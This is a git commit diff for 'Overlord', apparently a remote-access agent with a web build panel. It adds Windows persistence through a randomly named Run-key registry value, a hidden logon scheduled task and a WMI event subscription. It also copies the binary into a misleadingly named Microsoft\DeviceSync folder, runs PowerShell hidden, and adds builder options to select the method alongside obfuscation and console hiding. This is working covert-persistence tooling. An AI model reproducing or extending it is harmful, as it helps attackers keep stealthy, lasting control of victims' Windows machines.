add more persistence options and fix startup detections. Also bump version to 1.3.5

This commit is contained in:
KingKDot
2026-03-12 13:52:02 -05:00
parent 52ac86507b
commit b2172dd3e8
10 changed files with 282 additions and 54 deletions
+1 -1
View File
@@ -17,7 +17,7 @@ import (
"time"
)
var AgentVersion = "1.3.4"
var AgentVersion = "1.3.5"
var DefaultPersistence = "false"
var DefaultServerURL = "wss://127.0.0.1:5173"
@@ -5,6 +5,8 @@ import (
"path/filepath"
)
var DefaultPersistenceMethod = "startup"
func Setup() error {
exePath, err := os.Executable()
if err != nil {
@@ -5,42 +5,86 @@ package persistence
import (
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"golang.org/x/sys/windows/registry"
)
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
const startupExecutablePrefix = "ovd_"
const (
registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const legacyRegistryValueName = "OverlordAgent"
const registryValuePrefix = "OverlordAgent-"
startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
appDataBinaryDir = `Microsoft\DeviceSync`
startupExecutablePrefix = "ovd_"
taskNamePrefix = "ovd_"
legacyRegistryValueName = "OverlordAgent"
registryValuePrefix = "OverlordAgent-"
createNoWindow = 0x08000000
)
func activeMethod() string {
m := strings.ToLower(strings.TrimSpace(DefaultPersistenceMethod))
switch m {
case "registry", "taskscheduler", "wmi":
return m
default:
return "startup"
}
}
func getTargetPath() (string, error) {
switch activeMethod() {
case "registry", "taskscheduler", "wmi":
return getAppDataTargetPath()
default:
return getStartupFolderTargetPath()
}
}
func getStartupFolderTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
startupDir := filepath.Join(appDataDir, startupFolderRelative)
if existing, ok := findExistingStartupExecutable(startupDir); ok {
if existing, ok := findExistingBinaryInDir(startupDir); ok {
return existing, nil
}
name, err := generateStartupExecutableName()
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(startupDir, name), nil
}
func getAppDataTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
dir := filepath.Join(appDataDir, appDataBinaryDir)
if existing, ok := findExistingBinaryInDir(dir); ok {
return existing, nil
}
name, err := generateBinaryName()
if err != nil {
return "", err
}
return filepath.Join(dir, name), nil
}
func getLegacyTargetPath() (string, bool) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
@@ -49,57 +93,161 @@ func getLegacyTargetPath() (string, bool) {
return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
}
func findExistingStartupExecutable(startupDir string) (string, bool) {
entries, err := os.ReadDir(startupDir)
func findExistingBinaryInDir(dir string) (string, bool) {
entries, err := os.ReadDir(dir)
if err != nil {
return "", false
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
name := strings.ToLower(entry.Name())
if !strings.HasSuffix(name, ".exe") {
continue
}
if strings.HasPrefix(name, startupExecutablePrefix) {
return filepath.Join(startupDir, entry.Name()), true
if strings.HasSuffix(name, ".exe") && strings.HasPrefix(name, startupExecutablePrefix) {
return filepath.Join(dir, entry.Name()), true
}
}
return "", false
}
func generateStartupExecutableName() (string, error) {
func findExistingStartupExecutable(startupDir string) (string, bool) {
return findExistingBinaryInDir(startupDir)
}
func generateBinaryName() (string, error) {
b := make([]byte, 6)
if _, err := rand.Read(b); err != nil {
return "", fmt.Errorf("failed to generate startup executable name: %w", err)
return "", fmt.Errorf("failed to generate executable name: %w", err)
}
return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
}
func install(exePath string) error {
func generateStartupExecutableName() (string, error) {
return generateBinaryName()
}
func deriveTaskName(targetPath string) string {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
return taskNamePrefix + hex.EncodeToString(h[:4])
}
func deriveWMINames(targetPath string) (filterName, consumerName string) {
h := sha256.Sum256([]byte(strings.ToLower(filepath.Clean(targetPath))))
suffix := hex.EncodeToString(h[:4])
return taskNamePrefix + "f" + suffix, taskNamePrefix + "c" + suffix
}
func runPowerShell(script string) error {
cmd := exec.Command("powershell.exe",
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
"-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: createNoWindow,
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("powershell: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func installStartupFolder(_ string) error {
return nil
}
func installRegistry(targetPath string) error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open HKCU Run key: %w", err)
}
defer k.Close()
names, _ := k.ReadValueNames(0)
for _, name := range names {
if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
}
}
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return fmt.Errorf("failed to generate registry value name: %w", err)
}
valueName := registryValuePrefix + hex.EncodeToString(b)
return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
}
func installTaskScheduler(targetPath string) error {
taskName := deriveTaskName(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
// Notes on PowerShell parameter syntax used here:
// -ExecutionTimeLimit: expects a TimeSpan; ([TimeSpan]::Zero) disables the limit.
// -StartWhenAvailable: SwitchParameter — must be bare or use colon syntax (:$true);
// writing "-StartWhenAvailable $true" (with space) makes $true a positional arg, which errors.
script := fmt.Sprintf(
`$a = New-ScheduledTaskAction -Execute '%s'; `+
`$t = New-ScheduledTaskTrigger -AtLogOn; `+
`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
safe, taskName)
return runPowerShell(script)
}
func installWMI(targetPath string) error {
filterName, consumerName := deriveWMINames(targetPath)
safe := strings.ReplaceAll(targetPath, "'", "''")
script := fmt.Sprintf(
`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
`$f.QueryLanguage = 'WQL'; `+
`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
`$null = $b.Put()`,
filterName, consumerName, safe, filterName, consumerName)
return runPowerShell(script)
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
return err
}
startupDir := filepath.Dir(targetPath)
err = os.MkdirAll(startupDir, 0755)
if err != nil {
return fmt.Errorf("failed to create startup directory: %w", err)
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to install registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to install task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to install WMI persistence: %w", err)
}
}
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
return nil
}
@@ -139,7 +287,6 @@ func replaceExecutable(exePath, targetPath string) error {
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
return nil
}
@@ -155,36 +302,43 @@ func configure(exePath string) error {
}
}
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
switch activeMethod() {
case "registry":
if err := installRegistry(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure registry persistence: %w", err)
}
case "taskscheduler":
if err := installTaskScheduler(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure task scheduler persistence: %w", err)
}
case "wmi":
if err := installWMI(targetPath); err != nil {
return fmt.Errorf("failed to reconfigure WMI persistence: %w", err)
}
default:
// Best-effort cleanup of legacy registry entries from older versions.
// Don't fail persistence setup if cleanup is denied due to insufficient permissions.
_ = cleanupLegacyRunValues()
}
return nil
}
func uninstall() error {
if err := cleanupLegacyRunValues(); err != nil {
return fmt.Errorf("failed to clean startup registry values: %w", err)
}
_ = cleanupLegacyRunValues()
_ = uninstallTaskScheduler()
_ = uninstallWMI()
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return nil
}
startupDir := filepath.Join(appDataDir, startupFolderRelative)
if err := cleanupPrefixedExecutables(startupDir); err != nil {
return err
}
if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
return err
}
targetPath, err := getTargetPath()
if err == nil {
_ = os.Remove(targetPath)
}
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, startupFolderRelative))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, appDataBinaryDir))
_ = cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord"))
if legacyPath, ok := getLegacyTargetPath(); ok {
_ = os.Remove(legacyPath)
@@ -193,6 +347,26 @@ func uninstall() error {
return nil
}
func uninstallTaskScheduler() error {
return runPowerShell(
`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
}
func uninstallWMI() error {
return runPowerShell(
`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "ovd_*" } | ` +
`Remove-WmiObject -ErrorAction SilentlyContinue`)
}
func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir)
if err != nil {
@@ -218,7 +392,8 @@ func cleanupPrefixedExecutables(dir string) error {
}
func cleanupLegacyRunValues() error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey,
registry.QUERY_VALUE|registry.SET_VALUE)
if err != nil {
if err == registry.ErrNotExist {
return nil
@@ -226,7 +401,6 @@ func cleanupLegacyRunValues() error {
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
return cleanupOverlordRunValues(k)
}
@@ -235,7 +409,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
if err != nil {
return err
}
for _, name := range names {
if isOverlordRunValueName(name) {
if err := k.DeleteValue(name); err != nil && err != registry.ErrNotExist {
@@ -243,7 +416,6 @@ func cleanupOverlordRunValues(k registry.Key) error {
}
}
}
return nil
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "overlord-server",
"version": "1.3.4",
"version": "1.3.5",
"private": true,
"type": "module",
"scripts": {
+14
View File
@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
});
}
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
const persistenceMethodContainer = document.getElementById("persistence-method-container");
if (persistenceCheckbox && persistenceMethodContainer) {
persistenceCheckbox.addEventListener("change", () => {
if (persistenceCheckbox.checked) {
persistenceMethodContainer.classList.remove("hidden");
} else {
persistenceMethodContainer.classList.add("hidden");
}
});
}
async function init() {
try {
updateServerUrlPlaceholder();
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
const enablePersistence = form.querySelector(
'input[name="enable-persistence"]',
).checked;
const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
const hideConsole = form.querySelector(
'input[name="hide-console"]',
).checked;
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
disableCgo,
obfuscate,
enablePersistence,
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
hideConsole,
noPrinting,
};
+24
View File
@@ -322,6 +322,30 @@
>
</div>
</label>
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
<div
id="persistence-method-container"
class="hidden pl-3 border-l-2 border-orange-500/40"
>
<label
class="block text-xs font-medium text-slate-400 mb-1"
for="persistence-method"
>Windows Persistence Method</label
>
<select
id="persistence-method"
name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
>
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<p class="text-xs text-slate-500 mt-1">
Method used on Windows; other platforms use their native mechanism
</p>
</div>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
title="Windows only: build without a console window"
+1
View File
@@ -18,6 +18,7 @@ export type BuildConfig = {
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
hideConsole?: boolean;
noPrinting?: boolean;
};
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
disableCgo?: boolean;
obfuscate?: boolean;
enablePersistence?: boolean;
persistenceMethod?: string;
hideConsole?: boolean;
noPrinting?: boolean;
};
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
@@ -307,6 +310,11 @@ export async function startBuildProcess(
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
ldflags = `${ldflags} ${methodFlag}`;
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
}
} else {
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
}
@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
disableCgo,
obfuscate,
enablePersistence,
persistenceMethod,
mutex,
disableMutex,
hideConsole,
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
});
const safeNoPrinting = !!noPrinting;
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
const safePersistenceMethod =
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
? persistenceMethod.toLowerCase()
: 'startup';
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
disableCgo,
obfuscate: !!obfuscate,
enablePersistence,
persistenceMethod: safePersistenceMethod,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
});
+1 -1
View File
@@ -1 +1 @@
export const SERVER_VERSION = "1.3.4";
export const SERVER_VERSION = "1.3.5";